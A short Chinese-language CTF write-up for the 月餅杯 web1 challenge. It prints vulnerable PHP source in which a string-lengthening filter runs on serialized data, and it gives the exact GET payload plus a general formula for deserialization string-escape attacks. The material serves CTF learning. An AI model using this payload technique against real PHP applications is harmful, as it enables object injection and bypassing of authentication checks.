月餅杯-web1_此夜圓

Govced發表於2024-12-02

這題是反序列化字串逃逸
原始碼

<?php
error_reporting(0);

class a
{
	public $uname;
	public $password;
	public function __construct($uname,$password)
	{
		$this->uname=$uname;
		$this->password=$password;
	}
	public function __wakeup()
	{
			if($this->password==='yu22x')
			{
				include('flag.php');
				echo $flag;	
			}
			else
			{
				echo 'wrong password';
			}
		}
	}

function filter($string){
    return str_replace('Firebasky','Firebaskyup',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

注意這段

return str_replace('Firebasky','Firebaskyup',$string);

這段的作用是將"Firebasky"替換成"Firebaskyup"
看原始碼,當password==="yu22x"時,可以輸出flag
所以構造序列化

需要逃逸的字串是";s:8:"password";s:5:"yu22x";}
所以才payload:
1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}
總結:這是一個反序列化字串逃逸——增多型別題目
注意點是否有:return str_replace
然後增多型別的看需要逃逸的字串為y,在看替換後的字串是較替換前增加的字元為x
需要多少個未替換字串為:y/x
比如這裡需要30個字元
替換後增加2個字元
所以要寫15個Firebasky。

相關文章